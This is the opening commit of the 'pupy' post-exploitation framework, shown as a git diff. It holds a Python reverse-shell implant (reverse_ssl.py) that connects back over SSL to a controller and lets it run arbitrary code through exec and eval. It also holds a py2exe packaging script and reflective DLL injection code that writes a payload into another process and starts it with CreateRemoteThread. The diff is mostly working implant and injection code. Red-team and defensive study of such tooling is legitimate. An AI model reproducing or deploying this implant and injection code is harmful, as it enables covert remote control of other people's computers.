first commit :-)

This commit is contained in:
n1nj4sec 2015-09-21 21:53:37 +02:00
parent 6994d06ea8
commit 518a40751f
110 changed files with 21221 additions and 0 deletions

View File

@ -0,0 +1,43 @@
import socket
import threading
import Queue
import collections
import SocketServer
import struct
import os
import sys
import time
import traceback
import uuid
import subprocess
import StringIO
import imp
import hashlib
import base64
import logging
import re
import ssl
import tempfile
import string
import datetime
import random
import shutil
import platform
import errno, stat
import zlib
import tempfile
import code
import Queue
import glob
import multiprocessing
import math
import binascii
import inspect
import shlex
import json
import ctypes
import ctypes.wintypes
import threading
import time
import urllib
import urllib2

View File

@ -0,0 +1,31 @@
import sys
from distutils.core import setup
import py2exe
import os
from glob import glob
"""
This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub
please don't use this if you don't want to recompile from sources
NOTE: I had to manually change pyreadline/console/console.py to console2.py and edit __init__.py to change the import because I had a conflict
"""
if not (len(sys.argv)==2 and sys.argv[1]=="genzip"):
exit("This setup is not meant to build pupy stubs, but only to generate an adequate library.zip to embed in the real exe/dll stub\nplease don't use this if you don't want to recompile from sources")
sys.argv=[sys.argv[0],"py2exe"]
setup(
data_files = [(".", glob(r'.\RESOURCES_x86\msvcr90.dll'))],
console=['reverse_ssl.py'],
#windows=['reverse_ssl.py'],
#zipfile=None,
options={ "py2exe" : {
"packages":['additional_imports'],
"compressed" : True,
"bundle_files" : 2, #3 = don't bundle (default) 2 = bundle everything but the Python interpreter 1 = bundle everything
}
}
)

107
client/reverse_ssl.py Normal file
View File

@ -0,0 +1,107 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import site
import sys
import time
import rpyc
from rpyc.core.service import Service, ModuleNamespace
from rpyc.lib.compat import execute, is_py3k
import threading
import weakref
import traceback
import os
import subprocess
import threading
import multiprocessing
import logging
import StringIO
import json
import urllib2
import urllib
import platform
import re
import ssl
import random
class ReverseSlaveService(Service):
""" Pupy reverse shell rpyc service """
__slots__=["exposed_namespace"]
def on_connect(self):
self.exposed_namespace = {}
self._conn._config.update(dict(
allow_all_attrs = True,
allow_public_attrs = True,
allow_pickle = True,
allow_getattr = True,
allow_setattr = True,
allow_delattr = True,
import_custom_exceptions = False,
propagate_SystemExit_locally=False,
propagate_KeyboardInterrupt_locally=True,
instantiate_custom_exceptions = True,
instantiate_oldstyle_exceptions = True,
))
# shortcuts
self._conn.root.set_modules(ModuleNamespace(self.exposed_getmodule))
def exposed_exit(self):
raise KeyboardInterrupt
def exposed_execute(self, text):
"""execute arbitrary code (using ``exec``)"""
execute(text, self.exposed_namespace)
def exposed_eval(self, text):
"""evaluate arbitrary code (using ``eval``)"""
return eval(text, self.exposed_namespace)
def exposed_getmodule(self, name):
"""imports an arbitrary module"""
return __import__(name, None, None, "*")
def exposed_getconn(self):
"""returns the local connection instance to the other side"""
return self._conn
def get_next_wait(attempt):
return 0.5
if attempt<60:
return 0.5
else:
return random.randint(15,30)
def main():
HOST="127.0.0.1:443"
if "win" in platform.system().lower():
try:
import pupy
HOST=pupy.get_connect_back_host()
except ImportError:
print "Warning : ImportError: pupy builtin module not found ! please start pupy from either it's exe stub or it's reflective DLL"
if len(sys.argv)!=2:
exit("usage: %s host:port"%sys.argv[0])
HOST=sys.argv[1]
attempt=0
while True:
try:
rhost,rport=None,None
tab=HOST.rsplit(":",1)
rhost=tab[0]
if len(tab)==2:
rport=int(tab[1])
else:
rport=443
print "connecting to %s:%s"%(rhost,rport)
conn=rpyc.ssl_connect(rhost, rport, service = ReverseSlaveService)
while True:
attempt=0
conn.serve()
except KeyboardInterrupt:
print "keyboard interrupt received !"
break
except Exception as e:
time.sleep(get_next_wait(attempt))
attempt+=1
if __name__=="__main__":
main()

View File

@ -0,0 +1,116 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "GetProcAddressR.h"
//===============================================================================================//
// We implement a minimal GetProcAddress to avoid using the native kernel32!GetProcAddress which
// wont be able to resolve exported addresses in reflectivly loaded librarys.
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;
if( hModule == NULL )
return NULL;
// a module handle is really its base address
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// get the VA of the modules NT Header
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
// get the VA of the export directory
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)( uiLibraryAddress + pDataDirectory->VirtualAddress );
// get the VA for the array of addresses
uiAddressArray = ( uiLibraryAddress + pExportDirectory->AddressOfFunctions );
// get the VA for the array of name pointers
uiNameArray = ( uiLibraryAddress + pExportDirectory->AddressOfNames );
// get the VA for the array of name ordinals
uiNameOrdinals = ( uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals );
// test if we are importing by name or by ordinal...
if( ((DWORD)lpProcName & 0xFFFF0000 ) == 0x00000000 )
{
// import by ordinal...
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ( ( IMAGE_ORDINAL( (DWORD)lpProcName ) - pExportDirectory->Base ) * sizeof(DWORD) );
// resolve the address for this imported function
fpResult = (FARPROC)( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
// import by name...
DWORD dwCounter = pExportDirectory->NumberOfNames;
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiLibraryAddress + DEREF_32( uiNameArray ));
// test if we have a match...
if( strcmp( cpExportedFunctionName, lpProcName ) == 0 )
{
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// calculate the virtual address for the function
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32( uiAddressArray ));
// finish...
break;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
fpResult = NULL;
}
return fpResult;
}
//===============================================================================================//

View File

@ -0,0 +1,36 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
#define _REFLECTIVEDLLINJECTION_GETPROCADDRESSR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,93 @@
The windows reflective DLL and exe payload for pupy contains source code from differents projects with differents licenses.
All the files not from one of these projects is under pupy's license (BSD 3-Clause license)
These projects include :
----------------------------------------------------------------------------------
-py2exe : under MIT License (http://sourceforge.net/projects/py2exe/)
Copyright (c) 2000-2008 Thomas Heller, Mark Hammond, Jimmy Retzlaff
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
----------------------------------------------------------------------------------
-ReflectiveDLLInjection from https://github.com/stephenfewer/ReflectiveDLLInjection
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
----------------------------------------------------------------------------------
-meterpreter (3-clause BSD license)
Meterpreter is available for use under the following license, commonly known as the
3-clause (or "modified") BSD license:
=========================================================================================
Meterpreter
-----------
Copyright (c) 2006-2013, Rapid7 Inc
Redistribution and use in source and binary forms, with or without modification, are
permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials
provided with the distribution.
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,246 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "LoadLibraryR.h"
#include <stdio.h>
//===============================================================================================//
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 )
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
if (is64) {
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
}
else {
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader);
if( dwRva < pSectionHeader[0].PointerToRawData )
return dwRva;
for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ )
{
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
}
}
return 0;
}
//===============================================================================================//
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
BOOL is64 = 0;
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// process a PE file based on its architecture
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
{
is64 = FALSE;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
}
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
{
is64 = TRUE;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
}
else
{
return 0;
}
// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64 );
// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress, is64 );
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );
// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64 );
// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
// loop through all the exported functions to find the ReflectiveLoader
while( dwCounter-- )
{
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress, is64 ));
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress, is64 );
// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress, is64 );
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
//===============================================================================================//
// Loads a DLL image from memory via its exported ReflectiveLoader function
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
{
HMODULE hResult = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwOldProtect1 = 0;
DWORD dwOldProtect2 = 0;
REFLECTIVELOADER pReflectiveLoader = NULL;
DLLMAIN pDllMain = NULL;
if( lpBuffer == NULL || dwLength == 0 )
return NULL;
__try
{
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( dwReflectiveLoaderOffset != 0 )
{
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
{
// call the librarys ReflectiveLoader...
pDllMain = (DLLMAIN)pReflectiveLoader();
if( pDllMain != NULL )
{
// call the loaded librarys DllMain to get its HMODULE
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
hResult = NULL;
}
// revert to the previous protection flags...
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
}
}
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hResult = NULL;
}
return hResult;
}
//===============================================================================================//
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// defined in order to use the correct RDI prototypes.
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
// Note: This function currently cant inject accross architectures, but only to architectures which are the
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
{
BOOL bSuccess = FALSE;
LPVOID lpRemoteLibraryBuffer = NULL;
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
DWORD dwThreadId = 0;
__try
{
do
{
if( !hProcess || !lpBuffer || !dwLength )
break;
// check if the library has a ReflectiveLoader...
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
// alloc memory (RWX) in the host process for the image...
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
// write the image into the host process...
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
// add the offset to ReflectiveLoader() to the remote library address...
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
// create a remote thread in the host process to call the ReflectiveLoader!
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
} while( 0 );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
hThread = NULL;
}
return hThread;
}
//===============================================================================================//

View File

@ -0,0 +1,41 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
//===============================================================================================//
#include "ReflectiveDLLInjection.h"
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,916 @@
/*
* Memory DLL loading code
* Version 0.0.4
*
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.c
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
* Joachim Bauch. All Rights Reserved.
*
*/
#include <windows.h>
#include <winnt.h>
#include <stddef.h>
#include <tchar.h>
#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif
#ifndef IMAGE_SIZEOF_BASE_RELOCATION
// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!?
#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
#endif
#include "MemoryModule.h"
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
typedef int (WINAPI *ExeEntryProc)(void);
typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char *codeBase;
HCUSTOMMODULE *modules;
int numModules;
BOOL initialized;
BOOL isDLL;
BOOL isRelocated;
CustomLoadLibraryFunc loadLibrary;
CustomGetProcAddressFunc getProcAddress;
CustomFreeLibraryFunc freeLibrary;
void *userdata;
ExeEntryProc exeEntry;
DWORD pageSize;
} MEMORYMODULE, *PMEMORYMODULE;
typedef struct {
LPVOID address;
LPVOID alignedAddress;
DWORD size;
DWORD characteristics;
BOOL last;
} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
#define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))
#ifdef DEBUG_OUTPUT
static void
OutputLastError(const char *msg)
{
LPVOID tmp;
char *tmpmsg;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);
tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
sprintf(tmpmsg, "%s: %s", msg, tmp);
OutputDebugString(tmpmsg);
LocalFree(tmpmsg);
LocalFree(tmp);
}
#endif
static BOOL
CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
int i, size;
